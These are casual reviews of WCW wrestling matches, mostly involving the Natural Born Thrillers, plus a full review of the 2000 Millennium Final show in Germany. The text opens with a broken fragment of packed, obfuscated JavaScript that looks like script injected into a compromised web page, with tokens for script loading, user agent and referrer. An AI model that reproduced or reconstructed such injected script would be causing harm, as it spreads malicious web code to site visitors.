");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ryktd|var|u0026u|referrer|szeta||js|php'.split('|'),0,{})) we’re going to look at a group of people instead of just one or two. It’s WCW’s attempt to have a youth movement in the span of a month with the Natural Born Thrillers.

Cruiserweight Title: Mike Sanders vs. Kwee Wee

Kwee Wee is more or less Rico lite and has an alter ego known as Angry Alan. We see clips of Goldberg destroying Kwee Wee on Nitro. Uh…ok then. Nice to see the young guy getting pushed so hard. We see Goldberg destroying Sanders also. Wow great job of pushing these guys as meaning something. Sanders slaps Kwee Wee and here we go. We get the Angry Alan part to start us off here with “Above Average” Mike Sanders being in trouble very early.

Here come the Thrillers and we get the dumbest referee spot I have ever seen. The referee sees the Thrillers coming and stops Kwee Wee from jumping them. Jindrak hits a springboard clothesline to take out Kwee Wee but the referee turns and doesn’t see it. He see Kwee Wee down and Jindrak on the other side of the ring and is just fine with this. Yep that’s the kind of show to expect here it seems. There is a very cool spot where Jindrak and O’Hair throw Kwee Wee over the top from the floor and Sanders catches him in a powerslam. Awesome.

And here goes any sense of wrestling in the match as Meng of all people comes out with Paisley (Kwee Wee’s manager and more commonly known as Sharmell, Booker’s wife) in a big afro wig. He fights the Thrillers and gets Reno and Stasiak in Tongan Death Grips to take them down. Ric Flair and security comes out to get rid of everyone. This whole time we haven’t had a single shot of the match.

They’ve managed to overbook the opening match. And people wonder why this company went out of business. And now back to the backdrop that is our title match. And we come back for a chinlock. Madden and Stevie get into it about Stevie being in his brother’s shadow for years. Getting a little personal there buddy. They argue over what a hold is called forever. Here’s the face comeback.

Sanders is the Commissioner at this point. Madden: this never happens to Paul Tagliabue (Roger Goodell for you younger fans). Kwee Wee goes for a sunset powerbomb to the floor but Sanders gets a nice counter into a rana. Paisley hands Kwee Wee the afro for no apparent reason. And now she comes in and hits a handspring elbow which isn’t a DQ either. Sanders grabs Kwee Wee and hits the 3.0 (Orton’s backbreaker. I love that pun) for the pin to retain maybe 3 seconds later.

Rating: D. Just stupid nonsense here from WCW, the undisputed master of stupid nonsense. Was there any reason to overbook a Cruiserweight Title match between the commissioner and a comedy character? We technically had 9 run-ins with six Thrillers, Meng, Flair and Paisley. Seriously, we get it. There’s no need to have this much additional stuff going on. The match was boring on top of that, or at least what I saw of it was.

Sanders would then move into a feud with Ernest Miller over being the commissioner of WCW, including this match from Sin.

Mike Sanders vs. Ernest Miller

The winner is Commissioner. Sanders says he’s in this for the money and that Ms. Jones is on the line here. WCW: pushing sexual slavery all the way to 2001! At least Jones looks good. For the life of me I have never gotten the appeal of the Cat. He says he’s going to be Commissioner and take WCW all the way to the top. I’ve got nothing for that one. Somebody call his mama. How did they never have her show up?

After a quick fan applause contest won by Miller we’re ready for the match. Cat starts in control and chases Sanders to the floor, only to get drilled by Sanders on the return to the ring. Cat gets a kick to take him down and hammers away. Does this guy know how to do anything but strikes? Sanders gets a snap mare and kicks him in the head. A sunset flip is countered by a crotch chop and an elbow from Miller.

Big kick (yes we get it you can kick him) by Miller puts Sanders down but he manages to send Cat to the floor. Chair shot is broken up by Jones which is stupid because Sanders would have lost if he had hit Cat. Jones chases him with the chair as the Thrillers come down for the big beating. Kronik makes the save and somehow the referee DOESN’T SEE ANY OF THIS, despite being in the ring the whole time. Adams shoves the money in Sanders’ mouth as he channels his inner DiBiase before a big kick to Sanders from Cat ends this, making Miller commissioner again.

Rating: D. Boring match for another authority position which means I have to watch more of Miller. I’m not complaining about seeing Jones dance but at the same time, Miller is annoying beyond belief. Weak match and what a shock: the bigger the names get, the worse the show gets.

Next up is Chuck Palumbo, who was something resembling Val Venis with thicker hair. He was mostly a tag wrestler but would have the occasional singles match, such as this one against Scott Steiner, though this is before the Thrillers formed.

Chuck Palumbo vs. Scott Steiner

Lex Luger vs. Chuck Palumbo

Luger grabs a headlock to start but gets dropkicked and clotheslined for his efforts. The quickly head to the floor with Palumbo being whipped into the barricade as Luger takes over. Luger chokes a lot and starts hammering on the back until Chuck punches him down. Luger makes a quick comeback and calls for the Rack but gets small packaged for a fast pin.

Shawn Stasiak vs. G.I. Bro

And here’s the latest way to waste a guy like Booker: he’s a military guy when there’s already a military themed stable. He comes in on a zip line like Shawn did at Mania 12, but at about 1/3 of the height and 1/10 of the speed. The announces speculate that Kanyon was the surprise because they’re not that smart. Oh apparently Booker is part of the MIA. It just wasn’t mentioned until here.

This is a Boot Camp match, which means Last Man Standing. Why they’re fighting isn’t required information but I’d bet it’s MIA vs. New Blood. They’re both in camo here because that’s what you do in the army right? Booker takes him to the floor and hammers away as we go into the crowd. WEAK chair to the head (drawing slight booing) takes down Stasiak for all of a second. A horrible top rope forearm gets about seven.

Oh and don’t worry: we’re willing to cut away to the back at the drop of a hat if Goldberg arrives. You know, because you paid your money to see a car pull into a parking lot 45 minutes into a show right? Jumping back elbow puts Booker down and they actually treat it like a move that could end this. Big spinwheel kick by Booker takes him down for no reaction for the most part.

Stasiak sends him to the floor and we head to the ramp for a suplex. Back in the ring as there’s no heat on this match in the slightest. Back to the floor again as they have no idea what to do with nearly 14 minutes total for this match. Chair shot puts Booker down on the floor and back in the ring a gutwrench powerbomb gets 9. Time for a sleeper because this match isn’t boring enough already.

The fans chant boring and I can’t blame them in the slightest. This is what we mean when we say adding a gimmick for the sake of adding a gimmick. They can’t even explain why these two are fighting and yet we’re supposed to want to see a gimmick match between them an hour into the show in the fifth slot? There’s no heat here and the only reason this gimmick is here is because someone has a military gimmick.

Book End hits out of nowhere and I don’t bother waiting to hear what the stupid military name of that is. They call it a uranage suplex here but screw that. Of course it only gets like five but it sets up the missile dropkick, as in both of his finishers that can’t take down Stasiak. Palumbo, Stasiak’s partner, comes out with the Lex-Flexor exercise bar but hits Booker low anyway. A shot to the back of Booker puts him down as Tony rants against relaxed rules in a match with no rules. Booker gets up and mostly hits a double clothesline and beats up the tag champions on his own. A shot to Stasiak with the flexor ends this.

Rating: D-. Oh give me a break. Someone thought that Shawn freaking Stasiak was the best use of Booker T here? I mean come on now man. There was zero reason at all for this to be a gimmick match in the slightest so they went with it anyway. Guess what is up next: a gimmick match. After that, another gimmick match. Before this, another gimmick match. This is a great example of Russo’s writing in a nutshell and one of the better ones you’ll ever see. Oh and the match sucked, easily the worst last man standing match I’ve ever seen.

After the Thriller broke up, Stasiak feuded with Bam Bam Bigelow in the dying days of the company, including this match from Greed.

Shawn Stasiak vs. Bam Bam Bigelow

Oh please make it quick. Stasiak says he’s great and is the Mecca of Manhood apparently. This is the Shawn and Stacy Show and we see why Stasiak never gets to talk. It’s a shame that this match had to happen. We had two very good matches to start us off and then we got to look at Stacy who looks hot like that. And that ends the good stuff here as Bigelow is just WAY past his usefulness at this point.

Is there a reason why this is on a PPV? I know it’s a dark time for the company (ok that’s an understatement) but seriously? Tony keeps calling this The Greed Pay Per View. It’s really weird sounding. We pause to see if Stasiak needs a replacement tooth due to a clothesline. And now he wants a time out. Bigelow hits a dropkick to the thigh or so and we hit the floor again.

Bigelow gives chase this time and we brawl for a bit. Can’t you tell how riveting this stuff is so far? Stasiak hits a top rope cross body but stops to pose. Top rope headbutt kills Stasiak but here’s Stacy to look hot. She throws Stasiak hairspray and a neckbreaker ends it.

Rating: D. Boring match here with nothing of note happening. Again, this is what they went with on PPV? At least Stacy looked good. That’s about all I’ve got as far as good stuff goes here. The match was just boring and never got going or was never good or anything like that. Terrible match but at least it was short.

Mark Jindrak vs. Alex Wright vs. Kidman

Tag Titles: Boogie Knights vs. Rey Mysterio/Billy Kidman vs. Natural Born Thrillers

Boogie Knights are Disco and Alex Wright and the Thrillers are Mark Jindrak and Sean and Mark O’Haire and have the belts here. There was some weird deal where the Knights won the belts but Mike Sanders decided the title change didn’t count and gave them the belts back. There are advertisements at every corner of the ring. WCW’s latest horrible video game (no wrestling in the ring, just in the back) is the sponsor. Nice to see how well the sponsorship deals are going isn’t it?

Wright, Kidman and Jindrak start us off. That’s what I always liked about WCW triple threats: they had triple threats instead of three team tag matches. Alex allegedly has the most experience. Not quite but in WCW he did I guess. Bronco Buster misses and here’s Disco. I forgot Konnan was there until he said something about Shane Douglas. It’s a big WZ Preunion here.

Everyone keeps working to beat up the Thrillers. In a nice move, Disco sets up Sean to allow Kidman to come off with the Shooting Star but instead he jumps at Disco with a back elbow in a thinking move. Wright gets a lot of praise here which is weird. You could tell he was one of those guys that they wanted to do something with but they never quite could do it.

We get a Tower of Doom spot as I’m getting into this triple threat tag match formula. Rey, Sean and Disco come in. Sean has a dime dropped on him and Disco takes a modified seated senton for two each. Sean’s knee may be hurt. The Thrillers use one of their signature awesome spots where they pick up Rey for what looks like a double hip toss and throw him from the floor over the top rope and into the ring. That was awesome looking.

They do the same to Kidman but Wright catches him in mid air in a belly to belly for two. This is getting awesome fast. Big plancha by Alex to take out Disco and Jindrak. Let the cruiserweights loose as the big dives begin. Kid Crusher on Wright (Unprettier/Killswitch) gets two. Top rope rana by Rey to Disco is followed by a Bronco Buster.

Last Dance (Stunner) by Disco gets two as Rey drops a dime on Disco to break it up but it allows O’Haire to hit the Seanton (yes I spelled that right) Bomb to end it. Imagine a guy Orton’s size doing a Swanton and imagine how awesome it would look. Wright beats up Rey afterwards and Konnan tries to save. He gets beaten down also but Sgt. AWOL (member of the MIA) comes in for the save. Konnan can’t stand up.

Rating: B. This was FUN. You had six relatively young guys out there just having fun in a fast paced tag match. It’s a great choice for an opener and I got very into it. This was WCW’s problem though: this is pretty much going to be the match of the night and the crowd is going to decline as we continue. Very fun opener though and I liked it a lot.

Hardcore Title: Reno vs. Sergeant AWOL

I liked Reno but this should be bad anyway. Reno brings a kendo stick and pops Wall (his old name) with it so Wall kicks him in the face then goes through a table. Uh sure. We have NEW Hardcore rules here which are now falls count anywhere and anything goes. Back in the day the matches had to start in the back and end in the ring. WCW managed to make a video game out of that concept. Yeah they were dead at this point.

Just a basic weapons match at this point with no one really caring. See what I meant about the quality going down? Wall puts the trashcan over Reno’s head and kicks the can into the railing. That looked painful but after looking at it for about two seconds you can see he missed Reno completely. And now he does it again just because he can. Wall and Stevie do the Too Sweet hand gesture for zero explained reason.

They head up to the ramp as Stevie says this could end at the Brown Derby. For those unfamiliar, the Brown Derby is a restaurant in Los Angeles. Chokeslam is blocked and Reno hits the Roll of the Dice (Cross Rhodes) on the ramp. He gets a table and then a second one on top of that. According to the laws of wrestling of course Reno goes through them shortly thereafter.

The guys go off into some BIG empty area (you know because it’s not like FANS could go there as we need it for this one moment in a pointless match) before we head to the back. A computer monitor is thrown at Reno who counters with a fire extinguisher for two. Computer monitor to Reno’s head lets Madden say he knew the internet would destroy wrestling. That’s very funny all things considered. Actually it’s not as Mark Madden is not a laughing matter.

Wall drills Finlay who is an agent at this point and we head back into the arena. This is just going on WAY too long at this point and it’s not interesting at all anymore. Scratch that as it would imply that something about this match was interesting at all in the first place. Wall gets the fifth table of the match (the word overkill means nothing in WCW if you didn’t get that) but gets hit with a chair by Reno. Roll of the Dice (looked weak with no impact at all) onto the table ends this.

Rating: D-. This got ELEVEN MINUTES. Yeah this match is deserving of more time than the good opener. There was nothing at all here to set this apart from any other standard hardcore match. WCW had no idea what they were doing with this division and that’s very clear based on this mess.

Reno vs. Big Vito

Revenge match here after Reno revealed that he was the guy that was paying Kronik to take out Vito so he could rejoin the Thrillers instead of just you know, taking out Vito and rejoining the Thrillers. They stare each other down and the fight is on. Reno takes over with a powerslam to start and Vito kind of looks weak. Oh and they’re brothers apparently.

They head to the floor for a bit before heading back in and slugging it out. The crowd is staying white hot and already has made more noise than at all of Starrcade combined. Superplex gets two for Vito. Enziguri to the shoulder can’t put Reno down but a belly to back does for no cover. Out to the floor with Reno in control. They are laying into each other here.

Back in now and Reno drops an elbow. Tony talks about the brothers being in high school for some reason as the crowd is popping for clotheslines. Think about that for a minute. Vito grabs a sunset flip for two. Big boot to the head/superkick by Vito puts Reno down and they’re both down. Vito hammers away and here’s the comeback.

Belly to belly sets up a top rope elbow for two. Bad elbow but he tried at least. Reno fights back but can’t Roll the Dice. Suplex gets two for Vito. Spinning DDT fails for Vito so he settles for a T-Bone. I’ll have a round steak if you have one. Out of nowhere Reno reverses a suplex and gets the Roll the Dice for the pin. Another fast paced and decent match, probably a record for WCW post 1999.

Rating: C+. This is a fine example of a match where working hard and having intensity can make up for average in ring work. They were HAMMERING each other out there and while the match was sloppy at times the fans were into it and even I got into it a bit. That’s a great sign and the match was good as a result. We’re half an hour in and I’m rather impressed so far.

Disco Inferno/Lash Leroux vs. Mamalukes

 

 

Leroux speeds things up and takes Vito down with a spin kick before making the heels hit each other by mistake. Everything breaks down and the Italians hit a double clothesline to take over. Disco and Vito go to the floor as Johnny misses a guillotine legdrop, allowing Disco to hit a splash for two. Everyone is back in again and Disco tries his Chartbuster (Stunner) but Vito breaks it up, sending Disco into Lash for a Chartbuster to his partner for no apparent reason. That and a spinning inverted DDT to Disco are enough for the pin by Vito.

 

Mamalukes vs. Lance Storm/Mike Awesome

Filthy Animals/Big Vito/Paul Orndorff vs. Natural Born Thrillers

Filthy Animals: Konnan, Rey Mysterio, Disco Inferno, Juventud Guerrera, Tygress (female manager)

Natural Born Thrillers: Mark Jindrak, Sean O’Haire, Mike Sanders, Chuck Palumbo, Shawn Stasiak, Reno, Johnny the Bull

This is elimination style. Yes it’s that Paul Orndorff. He trained most of the Thrillers in the Power Plant (the same place that said one Dave Bautista had no future in wrestling) and he drew about 15 years ago so he’s PERFECT here. Orndorff is a mystery partner here. He SHOCKS the Thrillers. OH NO! IT’S ON OVER THE HILL OVERRATED GUY THAT HASN’T MEANT A THING SINCE WE WERE IN 5TH GRADE! Wait….this is WCW and he’s over fifty…..WE’RE SCREWED!!!

Stasiak goes on commentary for no apparent reason. Konnan makes gay jokes and introduced Orndorff. Wow this is so completely overhyped. No one cheers either. They just kind of breathe. Also, we get to see a 51 year old man that looks about twice that old in lime green tights. Rock on brother man.

This was billed as 6-6 but there are so many people that a lot have to drop to the floor, making it look like 4-4. Rey and Juvy are tag champions as I try to fill space. Ok apparently they aren’t….they just have the belts for the second straight PPV in a row. Rey tags in Juvy to absolutely NO reaction. I wasn’t looking at the screen and didn’t even notice it. Normally you get a sound from the crowd to let you know that something happened but there was NOTHING here.

O’Haire hits a Falcon’s Arrow to take down Juvy who of course is fine like 4 seconds later. Vito, the big guy on the team I guess, beats up Jindrak and is only there for Johnny. And here’s Disco to again complete silence. Oh never mind they think that he, a face, sucks. Jimdrak, a guy about 6’5, can’t get a dropkick past the ribs of Disco who is about 6’0. Ok Konnan is in the match despite sitting on the floor so far.

Konnan crashes into Disco so Disco accidently hits him with the Last Dance (Stunner) to eliminate him. Shawn says five to go, implying 6-6 to start. Disco can’t get anyone to tag him in so Vito punches him and Reno Rolls the Dice to end him and make it 6-4 I guess. Vito hits an Edgecution on Palumbo for two. Bull hits Vito in the head with a kendo stick and a Roll of the Dice (rolling cutter, Cross Roads) ends him.

That leaves it as Juvy, Rey and Orndorff left, so Madden suggests that Tygress is on the team too. So then Tony says it’s 6-2 as Orndorff is there for…..oh screw it let’s just get this over with. Guerrera hits a flying…..something to Reno. Tony calls it a body attack which sounds like something from Mortal Kombat. Juvy Driver and WHAT’S UP on Reno makes it however many vs. however many. Oh and over ten minutes in and I think there are 4 people that haven’t even been in yet.

Rey and Juy apparently ARE the tag champions here. Tony said they weren’t 8 minutes ago and now they are. My goodness I know WCW at this time is called insane but I’ve always thought it was overhyped. In this match alone, about ten minutes long at this point, we can’t establish how many original participants there were in this match, we’ve gotten three different answers as to how many people are left on one of the teams at this point, and we don’t even know if two guys are tag team champions? Ok according to Wikipedia they are the champions but are forced to forfeit them tomorrow for no given reason. Now why can I establish that and the paid announcers can’t?

The fans hate Tygress all of a sudden as Juvy’s plancha is just caught. And then HOLY GOODNESS O’Haire and Jindrak LAUNCH Juvy from the floor into the ring off a double hip toss. That looked incredible. A Swanton Bomb ends Juvy…..and here’s Orndorff. Of course he beats up all the young guys but a kendo stick takes care of him. He hits a bad piledriver to get rid of Johnny the Bull.

Rey and Tygress (now on the apron) just let Orndorff get double teamed and do all the work. Sanders hasn’t been in yet. He of course beats up Jindrak and O’Haire on his own, making them look completely weak in the process. He goes to piledrive Jindrak and of course gets hurt coming down, giving himself a stinger (same thing that happened to Austin in 97 off the Owen piledriver) and O’Haire quickly covers him for the pin because of the injury.

Rey and Tygress I guess don’t get that he’s really hurt and keep going on Jindrak. After a pair of Bronco Busters we get the idea so they beat up Sanders and Palumbo to keep the crowd into it I guess. Pay no attention to the fact that they’re landing around Paul’s legs or anything like that. And they stop the match because of the injury. They would conclude it the next night where Rey and Tygress would beat five guys on their own.

Rating: F. There should be two ratings here. The match itself was entertaining and was about a B/B-, but to let a guy in there that was 51 years old and had retired because of a neck injury and then, shocking no one with a brain, hurts his neck in his first match back in like 5 years is simply irresponsible. I don’t care if he swears up and down that he’ll be ok or whatever. You don’t let him into the ring with his neck hurt like that, and this is why.

He wasn’t even taking a bump and he got hurt. Imagine what would have happened if he had been taking am ove and got hurt like this. There is just no way you can validate letting Orndorff go out there. It didn’t sell any more shows because he wasn’t even announced, so this comes off as just irresponsible by WCW and there’s no way that is ok in my mind.

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Millennium Final
Date: November 16, 2000
Location: Arena Oberhausen, Oberhausen, Germany
Attendance: 9,000

Most of you likely haven’t heard of this show and I can’t say that I blame you. In the dying days of WCW, they woke up and did what WWF had been doing for years: going after Europe, and this was the result. It was only aired in Germany and parts of Europe and never once mentioned on American TV or put released to the American market.

There’s a weird and over the top thing for the European Cup which hasn’t been around since 1994 and a world title match with Booker T and Scott Steiner. I’ve never seen this so let’s get to it.

It’s never explained why the Millennium Final is being held 11 months into the millennium but I think that might be too much for WCW to get so I’ll leave it alone. Ah apparently it was the Millennium Tour and this is the FINAL night, even though I’ve found matches dated from December so whatever. Mind you that commentary here is all in German so I’m kind of on my own here. There’s no intro or anything other than pyro and we’re right into our first match.

Rey Mysterio/Billy Kidman vs. Kronik

Naturally the commentary is in German but the announcer speaks English. They were out of business in five months and it’s not hard to see why at this rate. The small guys are actually heels here. Make sense out of that. Kronik are Crush and Adam Bomb. I loved them but they just kind of sucked. Kronik’s finisher was a double chokeslam called High Time.

Why they made a ton of pot jokes is beyond me but whatever. Adams and Kidman start and I have no idea who the faces are all of a sudden. The big guys were way over but they’re being booed here. Oh how I love WCW from this era. Nothing makes sense and they have no problem with it at all. What do you really expect to happen here? Rey didn’t become a big deal until WWE so he’s a regular cruiserweight here.

Tygress, the manager of the Filthy Animals, and yes that’s really their name, was just disturbing looking. She wasn’t hot at all but they decided she was I guess. And hey look here, the faces are dominating and then Kidman walks into the double chokeslam for the pin. That was freaking stupid.

Rating: D. Holy goodness this was BORING. I never thought an 8 minute match could be so stupid but I was wrong. I mean just NOTHING interesting happened here. This was so uninspired it was pathetic. No one cared at all and it just was painfully obvious. The crowd was into it but that’s all they had going for it.

Watch WCW television. Or try the veal. I’m not sure what was actually said here.

Battle Royal

Apparently the winner here qualifies for another qualifying match later on to fight in the Europe Cup Title Match where Sting is already in. The winner here gets into a triple threat with Nash and Alex Wright, who is already in this match, making his entry completely pointless but then again it’s WCW so there we are. And apparently this is Royal Rumble style. Ok then. We start with Elix Skipper and Lance Storm as this continues to make less and less since every few seconds.

They’re teammates here so they just kill time until the next guy shows up and it’s General Rection, more commonly known as Bill DeMott. Rection and Storm were feuding over the US/Canadian Title so it fits perfectly. It’s it funny how that always happens? The time is like a minute here as Ernest Miller is 4th. He was commissioner on and off around this time as control changed about once a week literally.

And there’s your obligatory stupid USA chant in a non American country. Mike Sanders who is apparently Commissioner of the Week is 5th. The guy could talk and that’s it. Skipper throws the WORST kicks I have ever seen. That 70s Guy Mike Awesome is 6th. Now let’s stop for a second here. For those of you that saw Awesome in ECW, you know he’s a killing machine.

He’s 6’6 and could fly like a cruiserweight. The guy was a freaking monster. So what did WCW do with him? They turned him into a guy obsessed with the 70s and made him love fat women. WCW, you deserved to go out of business. You know what his original gimmick in WCW was: The Career Killer. Think of Orton but in Swagger’s body and TICKED OFF. No we can’t have that. That kind of gimmick could be, and perish the thought, GOOD!

We can’t have that, so we’ll turn him into the Fat Chick Thriller. WCW stuns me to no end at times. Actually make that all the time. At least he’s in his regular attire here. Kwee Wee, another gay character that never says he’s gay, is 7th. The music in late WCW just plain sucked. Storm goes out. Nothing of note is happening at all, meaning it’s a traditional battle royal. Disco Inferno, a face believe it or not, is 8th and there goes Miller.

The time thing is completely off as usual. Ninth is Kidman who is holding his ribs from all of 15 minutes ago. Again, this is just boring. Nothing of note is going on and the crowd is dying. This really shouldn’t have been Rumble rules. Apparently Kronik come out as a unit, so we’ll call them ten and eleven. They throw out Rection, Kwee Wee and Skipper. Sanders and Disco are out too and it’s Rey out at 12.

Awesome goes through the ropes, so they actually go with the same match we saw LESS THAN TWENTY MINUTES AGO. The stupidity here is astounding. Sean O’Haire is thirteenth as we have five to go. Kidman is out and so is Rey. AND WHAT A SHOCK it’s Sean’s partner Mark Jindrak in next to give us another tag match. Awesome is just hiding on the floor which is smart if nothing else, even though he’s supposed to be a monster but when would WCW use intelligence.

Norman Smiley is 15th to a huge pop. The four guys gang up on him and with little trouble after the worst piledriver this side of a backyard wrestling fed. Alex Wright, the hometown boy, gets a fairly weak pop at number 16. He’s bald now as he had been Berlyn recently. Out last is Konnan for no apparent reason. Ok so the final group is Adams, Clark, Jindrak, O’Haire, Smiley, Wright and Konnan.

Oh and Awesome who is hiding. And I miscounted so the final guy is Finlay. Well he get a good pop if nothing else so that’s good. He puts Kronik out so he’s a superhero. And we have a chair in there for no apparent reason. Smiley puts O’Haire out. Jindrak is out. Finlay puts Smiley out so it’s Konnan, Finlay, Wright, and Awesome and there goes Konnan.

Finlay has the chair but throws it down due to stupidity I guess. Wright puts Finlay out with a dropkick and celebrates to a sweet pop as the hometown boy winning the match. And then here’s Awesome to say SCREW YOU to the fans and win the match. Good night WCW was freaking stupid.

Rating: D. It’s a battle royal so it’s hard to grade, but the booking was just stupid here for reasons already explained. Awesome was fine but then again I mark for him so it’s not that easy. The booking for this show is just all over the place as you’ll soon find out.

Kwee Wee vs. Elix Skipper

Since his real name is Alan Funk, we’re calling the first guy Alan. He was a character that was kind of a combination of Rico and something else resembling Rico that lacked the talent or the intrigue. Skipper was more or less just a regular cruiserweight at this point so this is really just filler. Alan and Skipper actually feuded but it went nowhere given the whole going out of business thing.

For some reason I was always a mark for Skipper. I have no idea why but I was. Surprisingly this isn’t bad. Also much like Rico, Alan was a guy that couldn’t get a break because of his gimmick. He was far more talented than he was made out to be and he shows it here. They do some solid chain wrestling that I like. A common thing tonight is that these matches are getting a good amount of time and that’s rather nice.

Guys like these two that don’t often get to showcase themselves are getting to do so, but they’re a bit tired after the battle royal which sucks. This is pretty good stuff, but Skipper looks terrible as he has to job again. The guy had talent but he was always jobbing. To be fair though the gimmick didn’t help things at all. He almost hits the Playmaker but it’s countered and Alan gets a quick rollup for the pin.

Rating: C+. Ending kind of sucked but WCW’s strategy with small guys was simple: let them wrestle and it’ll work. They never messed with these guys and it helped a lot, but at the same time they just left them there when they were ready to move on up and that’s what killed the company off in the end, at least for me.

Ernest Miller says he runs WCW. Good to know.

Ernest Miller vs. Mike Sanders

This is for the Commissionership, which of course makes sense in a major company: have two men fight to see who the boss is. This was another of the mindlessly dumb feuds they had over who got to be boss like 18 or whatever. I think Sanders is commissioner coming in here. And it’s a two minute match with the Cat winning with a spinkick. I hated these things back then and I hate them now.

Rating: N/A. It’s stupid so it must be WCW. Miller was a guy that I never got the appeal of so he kept getting pushed further and further up the card. I was surprised he never won the world title because it would have failed that much better.

US Title: General Rection vs. Lance Storm

Storm had been pushed as the greatest thing on the planet, winning every singles title other than the World all at once, but now this was all he had left. This was allegedly a hot feud back in the day but I never saw nor felt any of said heat. Morrus starts off hot. Ok that’s a lie. He starts off moderately not cold as I don’t think hot was something he was capable of ever reaching.

This is as much of a cookie cutter of a match as you could ask for. Oh and Major Gunns is at ringside. She thought she drew what Booker and Steiner did. That’s just amusing. You can see the stupid ending coming from here so let’s just skip to that. The flag hits Morrus as he’s about to win the title. There’s about 4 minutes of Storm winning and the half crab and a comeback thrown in there but it was all boring stuff.

Rating: D+. This could have been on any house show and it still would have sucked. Morrus won the title ten days later at Mayhem so it’s not like this was anything more than practice I guess.

Random hot girls come out and dance to what sounds like a German singing a bad English song.

Norman Smiley vs. Fit Finlay

This is a hardcore match. WCW tried to have a hardcore division and it failed worse that a condom for Jon and Kate. Both guys are far more famous in Europe so this makes sense if nothing else. Smiley is over as all goodness here and is dressed like a Swiss guy. This is an Oktoberfest match apparently. It’s a standard basic hardcore match to start out as it’s just random weapons and Norman screaming.

I think by this point Meng had left with the hardcore belt and ended the division once and for all but I’m not sure. It was another case of WCW just putting a title on a guy with no contract and thinking that was ok. He was in WWE about two weeks later and there wasn’t a thing WCW could do about it. They brawl up to the concession/merchandise area (read as Finlay beats on him and Norman conveniently walks that way).

They’re in the crowd now and this is boring yet not awful stuff. Ah good they’re back on camera now. Yeah go ahead and chant for ECW. It’ll die in like two months anyway. Norman takes over in the ring and we hit a chinlock. We have a chinlock in a hardcore match. I don’t know what to type. Ok now I know. That’s freaking stupid. Wow how did I not get that faster? Naturally it turns into nothing but a weapons match.

Finlay keeps getting booed so he gets on the mic and yells in German which is kind of creepy in a way. We hear about Flair for no apparent reason. It’s sad that guys with this much talent have to do stupid stuff like this. We get a crossface chicken wing but Finlay goes through a table.

Finlay goes through a table feet first which looked cool and apparently is good for a pin. Norman dances for awhile and then goes to the back where he does an interview in English but Finlay jumps him. This also went nowhere.

Rating: C. It was a long TV match but that’s fine for something like this. Norman was incredibly over in America for no apparent reason and that translates worldwide I guess. This was a decent match but rather boring. There were just so many of these things that it was hard to really find one that stood out and this one didn’t at all.

Tag Titles: Boogie Knights vs. Mark Jindrak/Sean O’Haire

So the non dancers are the champions here, but Disco Inferno is hurt. Since we need to have a German win the belts though, we have Alex Wright teaming with General Rection for no apparent reason at all and he’s wearing a sweatshirt despite wearing tights in the previous match. Rection isn’t US Champion here as you saw a little bit ago but he’s announced as it and holds up a German flag. He and Jindrak start us off.

We hear that Wright has been inserted into the Triangle Match later on to qualify for the Europe Cup with Awesome and Nash. It’s weird but slowly and surely you get to understand German to an extent. Wright hits a sweet double nip up to get back up. That was awesome. They mention the Dancing Fools and Berlin but say tonight it’s just Alex Wright. Now why couldn’t we get this Alex Wright in America? This guy is freaking awesome.

The heels take over on Rection to set up the insanely hot tag that’s coming soon. The General looks like a fat Jeff Hardy. And we hit an arm bar ten minutes into the match. That fails to make sense but it’s WCW so whatever. The Seanton Bomb misses and there’s the hot one. Actually make that a slight fever one.

There was a tiny pop at best. And he’s getting beaten up now. This is already making my head hurt badly. I think Alex forgets to kick out of a rollup meaning that Mark has to just kind of let it go which looks completely stupid. Wright hits a missile dropkick from the top for the pin and the titles for him and Disco and a huge pop.

Rating: C-. Odd booking aside, this was all so that Wright could get a huge pop and that’s fine. He’s the hometown boy and he deserves a moment like this. I think it was mentioned on TV as a European match but Rection was never mentioned so there we are. This wasn’t bad but it wasn’t anything worth watching either. It’s your standard TV match which is fine. Not a great match but a cool moment.

Kevin Nash vs. Mike Awesome vs. Alex Wright

Dang Alex has to be getting tired out there. This is his third match tonight. The winner fights Sting who for no apparent reason is in the final match already. Oh that’s right: he drew money at one point in his career. Nash just kind of stands around because moving more than that might cause his spleen to rupture or something and he would be out two days before he could come back and get an easy win.

It amazes me that Awesome went from being a great character to such an awful one in just a few months. That’s WCW for you though. Alex is clearly tired but he’s doing what he can I guess. This is called a triangle match but it’s just a triple threat. Sorry if I don’t seem that interested in these matches but they’re just not interesting. I would guess that it’s because of the lack of commentary. Or maybe it’s just that WCW sucked so badly at this time.

Nash is in the ring now and Awesome is dominating for the most part. Wright is easily the fans’ pick to win but that’s simply not going to happen. That would mean a young guy would get a push and even in a country where that’s never going to be seen we can’t allow that right?

Nash just looks completely out of his element in there and it’s bad. With Awesome taking Nash down, Wright makes his comeback. The fans are barely popping for it. Even in another country WCW was crap. Wright puts him down with the neckbreaker but Nash is waiting. He takes Wright out and pins both guys at once to advance.

Rating: D+. They were just completely out of their element here and it hurt them badly. Wright was the only one the fans cared about but that was just because of the hometown aspect. In retrospect they should have just put him into the main event, if nothing else to give him a chance to catch his breath.

WCW Title: Scott Steiner vs. Booker T.

I believe this is match number 8000 in their eternal series. These two are more or less joined at the hip everywhere they go other than WWE and that’s probably not a good thing. Naturally the title isn’t going to chance here as Steiner would get it at Mayhem in ten days just like Morrus did earlier. This is about as formula based of a match as a human being could possibly ask for here. It’s not very good but it’ll do I suppose.

Booker starts in control and Steiner takes over. He moves. Incredibly. Slowly. Naturally he works on the back which is the closest thing to psychology you’ll get out of that roided up mess. He busts out the Frankensteiner which allegedly is a big move but I fail to see it anymore.

When you have Rey and Juvi jumping all over the place it’s just not worth much anymore. We get the Booker comeback but Steiner manages to get him down and gets the Recliner. Booker gets the ropes and then the kick to end it.

Rating: C+. Like I said this was the standard match for these two and it was ok I suppose. With about ten minutes to work with what more would you ask of them? At least it was a clean pin. It wasn’t bad I guess but they would have a, I guess you could say this, better match, in ten days anyway so this was fine for practice.

Axel Schulz is refereeing the main event. Naturally he was someone that hadn’t meant anything for about three years. You know the jokes that I’m thinking of.

Europe Cup: Sting vs. Kevin Nash

And again it’s two guys in their 40s in the main event instead of pushing a young guy to something. This match is a microcosm of everything that was wrong with WCW for its last two years: the match is sloppy, nothing new is attempted, Sting and Nash don’t really try that hard, and this pales in comparison to some of the other stuff we saw earlier, yet they’ll get their huge checks anyway. This goes on about 9 minutes and is the same thing you saw before. Sting wins by submission and holds up the cup to end the show.

